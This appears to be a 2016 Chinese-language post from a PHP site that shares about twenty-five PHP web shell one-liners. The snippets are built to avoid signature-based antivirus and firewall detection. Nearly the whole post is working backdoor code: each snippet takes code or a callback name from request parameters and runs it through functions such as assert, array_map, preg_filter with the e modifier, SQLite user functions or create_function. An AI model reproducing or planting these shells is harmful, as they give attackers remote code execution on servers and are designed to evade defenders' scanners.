分享一些无特征PHP一句话

php中文网

发布时间：2016-07-25 08:46:53

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来源于php中文网

原创

分享一些无特征PHP一句话

分享些不需要动态函数、不用eval、不含敏感函数、免杀免拦截的一句话。（少部分一句话需要php5.4.8+、或sqlite/pdo/yaml/memcached扩展等）

原理：http://www.toceanedu.com/shareMethod/639.jhtml

$e =$_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, $e);

$e =$_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map($e, $arr);

$e =$_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, $e);

$e =$_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
uksort($arr, $e);

$arr =new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');

$arr =new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
$arr->uksort('assert');

$e =$_REQUEST['e'];
$arr = array(1);
array_reduce($arr, $e, $_POST['pass']);

$e =$_REQUEST['e'];
$arr = array($_POST['pass']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);

$e =$_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');

$e =$_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk_recursive($arr, $e, '');

mb_ereg_replace('.*',$_REQUEST['pass'], '', 'e');

echopreg_filter('|.*|e', $_REQUEST['pass'], '');

ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();

$e =$_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);

$e =$_REQUEST['e'];
declare(ticks=1);
register_tick_function($e, $_REQUEST['pass']);

filter_var($_REQUEST['pass'],FILTER_CALLBACK, array('options' => 'assert'));

filter_var_array(array('test'=> $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK,'options' => 'assert')));

$e =$_REQUEST['e'];
$db = new PDO('sqlite:sqlite.db3');
$db->sqliteCreateFunction('myfunc', $e, 1);
$sth = $db->prepare("SELECT myfunc(:exec)");
$sth->execute(array(':exec' => $_REQUEST['pass']));

$e =$_REQUEST['e'];
$db = new SQLite3('sqlite.db3');
$db->createFunction('myfunc', $e);
$stmt = $db->prepare("SELECT myfunc(?)");
$stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT);
$stmt->execute();

$str =urlencode($_REQUEST['pass']);
$yaml = greeting: !{$str} "|.+|e"
EOD;
$parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}"=> 'preg_replace'));

$mem =new Memcache();
$re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE,create_function('$a,$b,$c,$d,$e', 'return assert($a);'));
$mem->connect($_REQUEST['pass'], 11211, 0);

preg_replace_callback('/.+/i',create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);

mb_ereg_replace_callback('.+',create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);

$iterator= new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)),create_function('$a', 'assert($a);'));
foreach ($iterator as $item) {echo $item;}

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